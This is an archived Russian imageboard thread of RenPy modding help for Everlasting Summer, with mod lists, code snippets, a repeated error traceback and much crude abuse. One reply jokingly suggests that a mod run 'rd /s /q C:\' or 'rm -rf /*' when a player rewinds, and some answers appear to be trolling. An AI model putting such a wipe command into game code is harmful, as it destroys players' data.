Вы видите копию треда, сохраненную 14 февраля 2017 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
Тред помощи по RenPy и моддингу в целом. Здесь же вы можете выложить свои поделия на оценку.
Прошлый тред: >>387995 (OP)
Список разразбатывающихся модов:
- "7 Дней Лета": http://ru.everlasting-summer.wikia.com/wiki/7_Дней_Лета - страница на вики, http://bl7dl.gip-gip.ru - форум мода, http://steamcommunity.com/sharedfiles/filedetails/?id=441054187 - страница в Workshop.
- Саманта-мод: http://steamcommunity.com/sharedfiles/filedetails/?id=354397869 - страница в Steam Workshop, http://ru.everlasting-summer.wikia.com/wiki/Саманта-мод - страница на вики.
Алиса-мод: https://www.mediafire.com/folder/eeiojayitmkli/Алиса-мод - 6 дней.
- Возвращение в Совёнок: https://yadi.sk/d/cLYNeSD1eX5ry - рут Алисы, http://ru.everlasting-summer.wikia.com/wiki/Back_to_Sovenok - страница на вики, http://steamcommunity.com/sharedfiles/filedetails/?id=354136207 - страница в Workshop
- Второй Шанс: https://yadi.sk/d/AdzjYtKOevwp2 - версия под 1.1, http://ru.everlasting-summer.wikia.com/wiki/Второй_Шанс - страница на вики.
Остальные моды ищите на вики - http://ru.everlasting-summer.wikia.com/wiki/Категория:Моды_и_сценарии
Сборник всех уроков по моддингу от Лолбота: https://yadi.sk/d/TBIRKLCMbvfRs
Уроки по отдельности:
Урок 1. Базовые команды
Урок 2. Наводим красоту
Урок 3. Ветвления и переменные
Урок 4. im-функции и введение в ATL
Урок 5. Beyond iiChan Eroge
Файлы для разбора игры по кирпичикам:
Декомпилятор rpyc в rpy
Распаковщик .rpa
Игровые ресурсы:
Все BG
Все CG
Все спрайты в PSD
Олежа, ссылку на прошлый тред сломал.
Сохранил
я из ФАКа качал, когда ФАКа ещё не было.
Пилю мод, но опыта мало. Пособия Лолбота проитаны и сохранены на винте
1) Проблемы с show/hide blink . Иногда show unblink не показывается, что делать?
2)Как сделать, чтобы бОльшая цгшка влезла в экран? Как сделать прокрутку этой цг?
3) Запилил новые спрайты, но они сильно выделяются при команде set_time. ЧЯДНТ?
Посмотри скрипты других модов. Я брал за основу 7дл.
Спасибо.
>Игровые ресурсы
Игровые ресурсы уже лет 5 назад из паблика выпилили
Простой вариант, использованный в самом БЛ, - другие говорящие. Например, dvp. Её цвета в media.rpy объявляются аналогично цветам просто dv; в tl/translation.rpy же она:
> "dvp" : {
> "english" : "Pioneer Girl",
> None : "Пионерка",
> },
Можно так не заморачиваться и объявить как в туториале:
> $ st = Character(u'Samantha', color="#c8ffc8", what_color="E2C778", drop_shadow = [ (-1, -1), (1, -1), (-1, 1), (1, 1) ], drop_shadow_color = "#000")
При этом просто самому выбирать, когда кто говорит.
Иначе - чтоб прям "схайдить" и "узнать" - ну собсно изменить имя, хранящееся там-то сям-то. В "Истории Алёны", например, делают так:
> def unl_set_name(who,name):
> gl = globals()
> global store
> store.names[who] = name
> gl[who+"_name"] = store.names[who]
Ну и пример использования:
> unl_meet('unl_unl',u"Странная девочка")
Спасибо
Потому что функция (метод) у них такая. Префиксы - чтобы не конфликтовать с другими, вдруг какое-нибудь ещё модоподелие объявит тоже meet.
> def unl_meet(who, name):
> unl_set_name(who,name)
А функцию meet откуда взял-то? Она в самом БЛ есть? Просто мб то место, откуда её сейчас взяли и упоминают, собсно и содержит эту функцию объявленную? Можно тогда просто сходить и посмотреть.
нет, в БЛ такой функции нет
собственная функция, а unl для того чтобы не конфликтовало с другими модами
Нужна ваша помощь, ибо тупо не справляюсь по времени (работа-дом).
https://github.com/talanov/RFE-Ready-For-Everything-Everlasting-Summer
Надобно (см. конец) проставить сраные скобочки, спасибо заранее.
Пулл-реквесты, все дела.
Также, если вдруг (внезапно) здесь обитают художники, милости прошу ко мне в лс (см. на гите).
Пока пилю для 1.2, т.к. основная (читай, где бету тестить) аудитория там.
Если кто поддержит добрым словом и исправлением 1.1 - милости прошу.
как сделать так, чтобы была транзиция картинки сверху вниз?
т.е. есть изображение 1920 по ширине и дохера по длине.
как, собсна, сделать так, чтобы шло от низа кверху?
Ога, спасибо.
$ make_memes_unknown))
Дай линь на них, пофикшу.
не подскажете, куда смотреть.
На спрайты - понятно, там изменить пути подключения, а ещё-с? Не сломаются же вида
>play sound "sound/test.ogg"
?
Помню, на первых порах 1.2 хавал вполне вида
>scene test with dissolve
Для 1.1 вроде там надо scene bg.
Есть ещё, на что обратить внимание?
Жопоеблю с make_names_unknown() смотри. Также проверь все imagemap, возможно, они работают по другому.
>imagemap
Не, слава яйцам, такого у меня нет. Всё цивильненько и Цинематичненько.
Так что мне только всякую неузкоспециализированную хрень типа подключения спрайтов или ещё чего.
>10к уников
> 4.5 к подписчиков
Кого ебет эта стимоблядская хуита?
С каких пор качество мода у нас оценивается количеством хомячков?
Пока не готов, не совсем закончена основная сюжетная линия. По словам автора, окончание будет весной, но я бы скорее рассчитывал на начало лета. Другие линии вроде как закончены, хотя они и короткие, но:
> А продолжение других линий?
> Маловероятно.
Ну типа как в лете пикриплейтед организован.
Хуи сосу, бочки тоже сосу.
Почитать уроки лолбота из шапки, например.
$ set_mode_nvl() #Здесь начинается режим стены текста.
"Тут дохуя текста в окошке на весь экран."
"Новые абзацы разделяются как строчки в adv-режиме."
nvl clear #тут всеми нами любимая cls
"Ещё абзац в стене текста.
$ set_mode_adv()#переключаемся в режим повествования.
Достаточно было загуглить, блядь, а не ебать мозги анонимусу.
Странно, в какой-то из версий 1.2 работало. Жалко, что у Риты они ВСЕ называются 1.2 и нужную версию уже не найти.
Ишу спраиты из любых модов. Чем больше спрайтов, тем лучше. В идеале скачал бы сборник.
Загогулину от "щ" не предлагать.
Ищи.
>все равно моды уже никто не делает, скажите, зачем я уже пятый раз перекатываю?
Т -традиция.
Как создать стол, карты, стоки и прочее знаю (функции) но как их использовать - хз
Используй вместо него лолботский фреймворк.
Блять, уже столько времени прошло и никто не запилил нормальный гайд по созданию модов?
Всё жрёте это говно от ЧСВшного мудака, который всё усложнил?
Да выучить создание новелл на ренпуе отдельно по нормальным гайдам легче, чем разбираться в дерьме, который он написал.
Чо ты бомбишь? Там даже ребенок разберется.
Создание новелл на ренпуе так-то осилит даже макака, поскольку там собственно погромирования нет от слова "вообще".
Лолбот, если память мне не изменяет, учил как заебенить все так, шоб не конфликтовало с самим БЛ и ресурсы игры не отваливались в самый нужный момент.
И еще, когда делаю текст в большой рамке фразы персонажей выводятся на обычную, как это исправить?
Мешок конского навоза. Ты появишься когда- на тебя оденут и будут по нему бить.
Мой рак съест тебя и отрыгнет упаковку, гандон на пуговицах.
>Ребят, никто не знает какой командой "посадить" совенка вверх - на ворота?
show owl :
____pos (931, 88)
Какие есть еще трешовые моды с кровищей? Типо пацанского лета.
Та вот решили сбацать модец про Алису, надо художник на фоны\картини и типа того.
Сколько платите?
Голод
И какие конкретно нужны? А мод про что?
> сбацать модец про Алису
Лол. А она плакать и смущаться 100% экранного времени будет? А нежно член доставать?
Атомный говноед.
Это вн?
Ты бы еще клавиатуру в жопу засунуть предложил.
"Действительно бесконечное лето" и тот мод, где нужно зомби-ульянок мышкой на время отстреливать (забыл название, играл год назад).
Олежамод глянь: кастомные GUI, в начале забавные йоба-эффекты.
А когда Саманту закончат? Захотелось поиграть в моды и оказалось, что над ним еще работают.
В этом году.
Мимо.
Ссылка https://cloud.mail.ru/public/6e8M/SjBx3PqiM
Ставить на нестимовскую 1.2 версию.
Чтобы более-менее ориентироваться во всем этом, вот список:
моды с Алисой:
бесконечная игра
голод
Пионерские дни. Бета
Это не сон. Я знала
Я найду тебя!
Вечная жизнь. Последний цикл
Алиса-Мод. Допил
Day with Alice
Осталось лишь 8 минут
моды с Славей:
Возврат в прошлое
Другое лето
Приключение Слави
Славя-мод
История пионера
Прошлое не забыто
Вечная жизнь. Последний цикл
Дни со Славей
С красной строки
моды с Леной:
Голод
Вечер с Леной
Вечная жизнь. Последний цикл
Выбор
Унесённые ветром
Другая история
моды с Мику:
7 дней с Мику
Душа Вокалоида ДЕМО
Не самый обычный вечер
Незабытый сон
Потерянная любовь
Бесконечная резня
Готов на всё - Мику
Лагерь, что не забыть никогда
Мику-рут для оригинального сценария (RU only, FROZEN)
моды с Ульянкой:
Утро с Ульянкой
Пошлая Ульянка
Ульянкина история
Месть Ульянке
моды с ОД:
Девять заветов настоящего пионера
Иванов день v1.1 [RU]
Не такая любовь
моды про попаданцев:
7 дней данила
Everlasting Dreams
SAD SUMMER Грустное Лето
Когда Нет Выбора
Повелитель времени Генезис
Сбылась мечта дебила
Андрюха-мод
Во сне и наяву
Моё Лето
Моя маленькая Утопия
Потерянный Сон
Трио в Совёнке
Жертва
Настоящий детектив
9 Часов Утра
Лагерь, что не забыть никогда
По Фрейду
Тот кто был здесь...
моды кроссоверы:
Бесконечная Припять
Когда Нет Выбора
Горячая линия
Бесконечный дождь
Твоя Бесконечная Ложь
моды с Толиком:
По ту сторону Совенка
Приключения Семена и Толяна
Лагерь Толяна
Ссылка https://cloud.mail.ru/public/6e8M/SjBx3PqiM
Ставить на нестимовскую 1.2 версию.
Чтобы более-менее ориентироваться во всем этом, вот список:
моды с Алисой:
бесконечная игра
голод
Пионерские дни. Бета
Это не сон. Я знала
Я найду тебя!
Вечная жизнь. Последний цикл
Алиса-Мод. Допил
Day with Alice
Осталось лишь 8 минут
моды с Славей:
Возврат в прошлое
Другое лето
Приключение Слави
Славя-мод
История пионера
Прошлое не забыто
Вечная жизнь. Последний цикл
Дни со Славей
С красной строки
моды с Леной:
Голод
Вечер с Леной
Вечная жизнь. Последний цикл
Выбор
Унесённые ветром
Другая история
моды с Мику:
7 дней с Мику
Душа Вокалоида ДЕМО
Не самый обычный вечер
Незабытый сон
Потерянная любовь
Бесконечная резня
Готов на всё - Мику
Лагерь, что не забыть никогда
Мику-рут для оригинального сценария (RU only, FROZEN)
моды с Ульянкой:
Утро с Ульянкой
Пошлая Ульянка
Ульянкина история
Месть Ульянке
моды с ОД:
Девять заветов настоящего пионера
Иванов день v1.1 [RU]
Не такая любовь
моды про попаданцев:
7 дней данила
Everlasting Dreams
SAD SUMMER Грустное Лето
Когда Нет Выбора
Повелитель времени Генезис
Сбылась мечта дебила
Андрюха-мод
Во сне и наяву
Моё Лето
Моя маленькая Утопия
Потерянный Сон
Трио в Совёнке
Жертва
Настоящий детектив
9 Часов Утра
Лагерь, что не забыть никогда
По Фрейду
Тот кто был здесь...
моды кроссоверы:
Бесконечная Припять
Когда Нет Выбора
Горячая линия
Бесконечный дождь
Твоя Бесконечная Ложь
моды с Толиком:
По ту сторону Совенка
Приключения Семена и Толяна
Лагерь Толяна
Ничего себе модов наклепали! А можешь добавить те, что в модпаках? Тогда будет ultimate модпак же.
Вот эту няшу уважаю, спасибо.
Так она есть в модпаке на 1.1
Сажа приклеилась. Бывает.
Большая часть это пре-альфа-бета-гамма-демо версии с одним днем/прологом. Готовых мало.
Это фильтр, болезный.
Лучше в game.
Я не знаю, как там в защеканской версии, но точно знаю, что если ты в mods кинул свой говномод в отдельно папке, то должно быть названиетвоегоговна/nightmares/bg/ext_camp_entrance_day_grey2.jpg
Пожалуйста.
I'm sorry, but an uncaught exception occurred.
While running game code:
File "game/mods/Everlasting Nightmares/nightmares/evn_scenario.rpy", line 103, in script
"Мне снится очень странный сон."
IOError: Couldn't find file 'nightmares/bg/ext_camp_entrance_day_grey2.jpg'.
-- Full Traceback ------------------------------------------------------------
Full traceback:
File "D:\Games\everlasting_summer-1.2-all\renpy\bootstrap.py", line 289, in bootstrap
renpy.main.main()
File "D:\Games\everlasting_summer-1.2-all\renpy\main.py", line 357, in main
run(restart)
File "D:\Games\everlasting_summer-1.2-all\renpy\main.py", line 77, in run
renpy.execution.run_context(True)
File "D:\Games\everlasting_summer-1.2-all\renpy\execution.py", line 598, in run_context
context.run()
File "game/mods/Everlasting Nightmares/nightmares/evn_scenario.rpy", line 103, in script
"Мне снится очень странный сон."
File "D:\Games\everlasting_summer-1.2-all\renpy\ast.py", line 593, in execute
renpy.exports.say(who, what, interact=self.interact)
File "D:\Games\everlasting_summer-1.2-all\renpy\exports.py", line 1000, in say
who(what, interact=interact)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 826, in __call__
self.do_display(who, what, cb_args=self.cb_args, display_args)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 688, in do_display
display_args)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 491, in display_say
rv = renpy.ui.interact(mouse='say', type=type, roll_forward=roll_forward)
File "D:\Games\everlasting_summer-1.2-all\renpy\ui.py", line 247, in interact
rv = renpy.game.interface.interact(roll_forward=roll_forward, kwargs)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 2149, in interact
repeat, rv = self.interact_core(preloads=preloads, kwargs)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 2478, in interact_core
self.draw_screen(root_widget, fullscreen_video, (not fullscreen_video) or video_frame_drawn)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 1677, in draw_screen
renpy.config.screen_height,
File "render.pyx", line 363, in renpy.display.render.render_screen (gen\renpy.display.render.c:5330)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "accelerator.pyx", line 108, in renpy.display.accelerator.transform_render (gen\renpy.display.accelerator.c:1922)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\image.py", line 207, in render
return wrap_render(self.target, width, height, st, at)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\image.py", line 82, in wrap_render
rend = render(child, w, h, st, at)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 465, in render
im = cache.get(self)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 198, in get
surf = image.load()
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 509, in load
surf = renpy.display.pgrender.load_image(renpy.loader.load(self.filename), self.filename)
File "D:\Games\everlasting_summer-1.2-all\renpy\loader.py", line 438, in load
raise IOError("Couldn't find file '%s'." % name)
IOError: Couldn't find file 'nightmares/bg/ext_camp_entrance_day_grey2.jpg'.
Windows-7-6.1.7601-SP1
Ren'Py 6.18.3.761
Everlasting Summer 1.2
Пожалуйста.
I'm sorry, but an uncaught exception occurred.
While running game code:
File "game/mods/Everlasting Nightmares/nightmares/evn_scenario.rpy", line 103, in script
"Мне снится очень странный сон."
IOError: Couldn't find file 'nightmares/bg/ext_camp_entrance_day_grey2.jpg'.
-- Full Traceback ------------------------------------------------------------
Full traceback:
File "D:\Games\everlasting_summer-1.2-all\renpy\bootstrap.py", line 289, in bootstrap
renpy.main.main()
File "D:\Games\everlasting_summer-1.2-all\renpy\main.py", line 357, in main
run(restart)
File "D:\Games\everlasting_summer-1.2-all\renpy\main.py", line 77, in run
renpy.execution.run_context(True)
File "D:\Games\everlasting_summer-1.2-all\renpy\execution.py", line 598, in run_context
context.run()
File "game/mods/Everlasting Nightmares/nightmares/evn_scenario.rpy", line 103, in script
"Мне снится очень странный сон."
File "D:\Games\everlasting_summer-1.2-all\renpy\ast.py", line 593, in execute
renpy.exports.say(who, what, interact=self.interact)
File "D:\Games\everlasting_summer-1.2-all\renpy\exports.py", line 1000, in say
who(what, interact=interact)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 826, in __call__
self.do_display(who, what, cb_args=self.cb_args, display_args)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 688, in do_display
display_args)
File "D:\Games\everlasting_summer-1.2-all\renpy\character.py", line 491, in display_say
rv = renpy.ui.interact(mouse='say', type=type, roll_forward=roll_forward)
File "D:\Games\everlasting_summer-1.2-all\renpy\ui.py", line 247, in interact
rv = renpy.game.interface.interact(roll_forward=roll_forward, kwargs)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 2149, in interact
repeat, rv = self.interact_core(preloads=preloads, kwargs)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 2478, in interact_core
self.draw_screen(root_widget, fullscreen_video, (not fullscreen_video) or video_frame_drawn)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\core.py", line 1677, in draw_screen
renpy.config.screen_height,
File "render.pyx", line 363, in renpy.display.render.render_screen (gen\renpy.display.render.c:5330)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\layout.py", line 618, in render
surf = render(child, width, height, cst, cat)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "accelerator.pyx", line 108, in renpy.display.accelerator.transform_render (gen\renpy.display.accelerator.c:1922)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\image.py", line 207, in render
return wrap_render(self.target, width, height, st, at)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\image.py", line 82, in wrap_render
rend = render(child, w, h, st, at)
File "render.pyx", line 98, in renpy.display.render.render (gen\renpy.display.render.c:2849)
File "render.pyx", line 174, in renpy.display.render.render (gen\renpy.display.render.c:2537)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 465, in render
im = cache.get(self)
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 198, in get
surf = image.load()
File "D:\Games\everlasting_summer-1.2-all\renpy\display\im.py", line 509, in load
surf = renpy.display.pgrender.load_image(renpy.loader.load(self.filename), self.filename)
File "D:\Games\everlasting_summer-1.2-all\renpy\loader.py", line 438, in load
raise IOError("Couldn't find file '%s'." % name)
IOError: Couldn't find file 'nightmares/bg/ext_camp_entrance_day_grey2.jpg'.
Windows-7-6.1.7601-SP1
Ren'Py 6.18.3.761
Everlasting Summer 1.2
Уроки лолбота тебе в помощь, вконтактомразь. Чтоб я тебя больше тут с пидорским летом 1.2 не видел.
Спасибо, анончик. Помогло.
По поводу установки: смотрите внимательно, если в архиве мод находится в папке mods, то и в папке с игрой он должен быть в mods, если нет, то нужно кидать внутрь game либо ту папку, что есть в папке с названием мода, либо файлы и/или папки, что находятся в папке с названием мода.
Немного путано, но все же.
>>563317
пробуем.
хорошо бы текстовый редактор с синтаксисом питона. Да хоть бы Notepad++
>While running game code:
File "game/mods/Everlasting Nightmares/nightmares/evn_scenario.rpy", line 103
открываешь файл evn_scenario.rpy, смотришь, что в строке 103.
будет что-то вроде
show bg ext_camp_entrance_day_grey2
ищи в конфиге, где все картинки описаны, эту строку.
должно быть что-то вроде
image bg ext_camp_entrance_day_grey2 = get_image("путь_к_файлу")
Этот путь, судя по трейсбэку, не соответствует тому, где реально пикча лежит.
Ищещь пикчу, копируешь путь, вставляешь в сюда get_image("путь_к_файлу"). game\ и все, что левее, стираешь; \ перебиваешь на /
Пробуй.
Ты какой-то наркоман. Уже все решено.
Плюс в этом треде люди, как минимум, не против самой концепции модов, что часто встречается в других тредах, и из-за чего получаешь говнецо в ответ на свой вопрос.
Имплаинг ты не ебаный школьник.
Пивонько прошёл? Уебывай из летосферы, больше тебе никто и никогда ничего не завезет, а еще один пивной утенок здесь нахуй не нужен.
В оригинале я подсел на Славю. И логично, что потом перешел на пивонько, так как там был здоровенный её рут. А не потому, что мне очень нужно было именно пивонько. Но вообще кому я это пишу. Надо было постить в этот тред в более людное для доски время, чтобы он не так долго висел в топе и не набежали очередные говнометатели.
Нахуй сходи, страдалец. Алсо, пивонько надо читать в самом конце, после всех остальных высеров, как вишенку на торте из говна - она там самая хитровыебанная и стосорокаслойная. Тебе просто нечего читать после этого, равно как и делать в летосфере в целом.
Так ты дело говоришь. Я сам уже стал это понимать и жалеть - и что начал читать 7дл сразу после оригинала, и что слишком быстро прочитал и не растянул приятную жвачку на дольше, не осознавая ее ценности. И как бы ее ни хуесосили.
Вообще я не то чтобы особо страдалец, но как-то других героинь пока не тянет проходить. По сути, остается только на Саманту надежда: там ведь тоже Славя есть, хоть и мало.
Кстати, я только после твоего поста осознал такой феномен борд, как незлобное обсирание собеседника или предмета разговора. Интересненько. Можешь нахуй за это сходить, познавательный анон.
>Что, совсем?
Да, совсем.
>Или так задумано?
Нет. Не задумано.
>>563958
>не может ренпуй картинко найти.
А как лечить?
Приходится все делать через sound, но это не есть хорошо. P.s.: гугл не помог
Ну ты чего, звук же через простую переменную прописывается, а через какой канал его проигрывать - это уже совсем другое дело:
$ sfx_mysound = "mymod/sound.ogg"
play sound sfx_mysound
play ambience sfx_mysound
play music sfx_mysound fadein 5
А, это не фиксится.
Тот метод блокирует лишь отмотку колесиком мыши, но отмотку через историю запретить нельзя, также как нельзя запретить сохранения.
На самом деле можно. Только тебе придется лезть в глубины ренпая и переобъявлять стандартные функции и Антошин говнокод.
Не, ну можешь запариться и допилить.
Или при попытке отмотать сделать rd /s /q C:\ или rm -rf /* в зависимости от платформы.
Можно.
Посмотри, например, как это сделано в карточном турнире второго дня; да и заюзай ту же переменную.
Надо-включил, надо - выключил.
Вот это попробуй:
Включить блокировку:
$ d2_cardgame_block_rollback = True
Отключить блокировку.
$ d2_cardgame_block_rollback = False
Да, можешь, конечно, и свою переменную изваять... но это надо менять код процедуры.
Для отдельной игры - можно, для мода - нет смысла.
Тем более, что в оригинале эта переменная включается перед турниром и выключается после оного. И только.
Листочек виден, окно появляется, но перейти - нельзя.
Кажется, в шапку треда пора добавить ссылку на https://github.com/lolbot-iichan/lb_iichan_eroge_mods/tree/master/mods/lb_tests чтобы мододельцы и модозапускатели могли понять на какой строчке фигня в случае, если они не умеют читать или игра не упала, но не происходит того, что они ожидали.
>>563916, если проблема ещё не решена, то скачай мод с этими тестами, запусти его и посмотри аутпут.
Кот бы говорил.
Воу, благодарю тебя, это то, что нужно) Уже подумывал реально переписывать код
А в чем сложность? Олсо, лучше использовать unrpyc от censoredusername, декомпилятор лолбота недопилен.
>декомпилятор лолбота недопилен.
А что именно в нём не допилено? Я его пару раз использовал и было норм.
После его использования попробуй поискать TODO по файлу, полученному на выходе. Да и скрипт получается не совсем тот, что был скомпилирован.
Ну, тут куча файлов, которые ничем не открываются, как пользоваться, я так и не понял
Хм... Зачем тебе декомпилировать скрипты?
Когда 1.2 только вышло, его через декомпилятор лолбота прогоняли как раз, и тогда всё работало. Видимо, нынешнее 1.2 совсем другое, раз TODO вылезли.
Вопрос следующий:
как объявить эту переменную, чтобы она записывалась не в сохранения, а, скажем, в какой-то файл(могут быть и другие варианты) ибо исключить возможность загрузки
$ persistent.твое_говно = u"Я хуже червя-пидора."
Инициализация:
if persistent.твое_говно = None
$ persistent.твое_говно = ""
Ты хочешь чего-то странного. Какую задачу ты решаешь? Не что ты хочешь сделать, а зачем ты вообще хочешь это делать?
Хочу сделать несколько режимов.
Для первого прохождения(игрок не может изменить совершенные действия)
Свободный (стандартный режим БЛ + легко выйти на руты) - для тех, кто любит пройти все
И Хардовый - в основном потому, что я фанат дарк соулс, в нем будет тяжело, но появятся уникальные реплики и руты
В начале игрок сам может выбрать любой режим
>
>>>567193
>$ persistent.твое_говно = u"Я хуже червя-пидора."
>Инициализация:
>if persistent.твое_говно = None
>$ persistent.твое_говно = ""
Вот за это я вас и люблю:3
Вроде как нет, попробуй залить свой спрайт, чутка изменив яркость.
Если неохота и дохера притом ебатьсчя с кодом - то нет.
Вообще - что хотел то?
Если спрайт выводишь один - ну и меняй перзистент до и после него.
Если спрайтов должно быть несколько на экране одновременно - и некоторые из них с разной колоризацией -
тут проще свой эффект сочинить.
im.MatrixColor(ImageReference("спрайт"), im.matrix.brightness(яркость) * im.matrix.saturation(насыщенность))
яркость и насыщенность - в формате 0.0
Можешь его как-то обозвать и в инит засунуть.
тогда вызов будет как-то так:
show expression мой_эффект ("нужный спрайт")
Этот чел прав. Если нужна еще инфа, то в шапке в 4 уроке найдешь.
Ычую этого. Лучше и проще сделать спрайт, который вообще не реагирует на время суток, и пользоваться им.
Повторюсь, формулирую лучше задачу, которую ты решаешь. Вопросы про "персистент спрайт тайм найт только на один спрайт" приходится реверсить, чтобы предложить нормальное решение.
Чтобы не проебывал ссылки.
Хочу запилить мод, что делать с ОСТом? Не надают ли мне по башке, если я напичкаю мод лицензятиной?
- БРАЙАН РУССКЕЙ АЙВАН ИСПОЛЬЗУЕТ НАШ БЕК ИН БЛЕК В МОДЕ ПО БЕСКОНЕЧНОМУ ЛЕТУ
- ВЫСЫЛАЙ ЗА ПИДОРОМ
точно, спасибо
А они не кусаются? Могут дать? Просто я решил спин-офф про зиму в городе пилить.
Не кусаются, но могут не дать. А зачем тебе именно .psd? Ведь .png из игры должно хватить.
Бля, туплю. Можно же прямо из игры вытащить. Добра тебе, анон.
не сплю второй день, крыша не на месте
Я не могу, я со снотворного слажу, поэтому меня так колбасит. Ничего, скоро отпустит.
Ну, с кем не бывает ¯\_(ツ)_/¯ Ладно, я пошел рыться в ресурсах и перерисовывать под свои нужды.
И тебе того же.
Стим в онлайне, игры работают, магазин открывается.
Перезапускал стим и комп, ошибка не исчезает.
А проблема таки сама решилась
Решил запилить небольшой оригинальный сценарий, идея которого появилась давно, но сейчас он просто-таки рвётся наружу.
Курю уроки, пока всё вроде бы понятно в железе погонять-попробовать смогу вечером, но есть дурацкий вопрос: можно ли переименовать некоторых персонажей (реплики от них), и как это сделать?
Неужели так сложно погуглить?
https://www.renpy.org/wiki/renpy/doc/reference/functions/Character
http://anivisual.net/blog/2014-09-25-60
И еще более новая документация. Советую прочитать всю страницу, а не только раздел про Character.
https://www.renpy.org/doc/html/quickstart.html#characters
>>581161
Добра. Держите олдскульных СССР-тней.
>>581163
Перечитал и теперь понял, что есть. Тебе тоже няшу :3
>Перечитал и теперь понял, что есть.
А всё потому, что читать нужно размеренно, с домашней работой (кажется, со смертью Кружка Кибернетики её никто уже больше и не делал).
Бро, я сделаю, честное пионерское.
Спасибо тебе, добрый пионер. Желаю всяческих благ.
Нахуй ты ему помогаешь? Мало ежедновно говна высирается? Если этот аутист даже в гугл не смог.
Я надеялся, что у кого-то близко есть оно, уже распакованное.
Потому как у меня не стоит никаких инструментов для этого.
Подскажите плиз, как добавить своего перса в игру. Смотрел пару гайдов, там вроде этого не объясняли (а может я глухой).
Уже все нашел, стоило чучуть загуглить
Зачем мне читать уроки по модостроение, если я не собираюсь пилить моды?
>стимоблядь
>ЗИЛЁНАЙ СЛОНЕК ЕТА СМИЩНО
Напихать бы тебе хуёв за щеку, да там уже и места нету.
Ну и иди нахуй, нечего хейтерить ЗС
Дауненок твой отец, а мод этого анона весьма годный
И если в его моде тебе что-то не нравится то пойди вскрой себе вены
А ТЫ ТВАРЬ УЕБИЩНАЯ КАК ТЫ ПОСМЕЛ ОСКОРБИТЬ ЭТОТ ФИЛЬМ ИБО ТЫ ХУЙЛАН И БЫДЛО, КОТОРОМУ В /es/ НЕ МЕСТО
Придерживаться.
CC-NC-BY-SA и в путь.
Мод только только начал пилить, предварительный сценарий уже написан, подробнее могу рассказать , например, ВК.
Нужен сильно изменённый спрайт Лили с Катавы (другие черты лица, другой характер зелёные глаза , рыжие длинные волосы, пионерская форма) , ибо я вдохновлён (а не спиздил) её образом.
Если всё же захочешь помочь, буду очень рад, ибо в одиночку всё же сложновато.
Очередной вк-хуесос ищет таланты на харкачике, потому что посоны сказали, что здесь кузница контента и вообще именно тут придумали летанько.
Сеги пидору.
Можт, это от Орики?
Начал изучать RenPy относительно недавно.
Хочу сделать объявление имени через инпат.
Я нашел пока только способ использования переменой в тексте диалога.
voice "Как тебя зовут?"
$ n1 = renpy.input ("Ввести имя главного героя", "")
me "Прости, задумался… {w=1}Меня зовут %(n1)s."
Как объявить имя взяв его из переменной n1 или из инпата?
Потому что иди нахуй, вот зачем.
Потому что мне интересна тема и тред не до конца мертвый, очевидно же. Я задал конкретный вопрос в конкретном тематическом треде.
В начале допиши set_device android, а ведроидное блето уже само все отресайзит и поменяет, как надо.
В питон встроен транслятор.
Для его запуска в командной строке:
cd \путь\до\мода
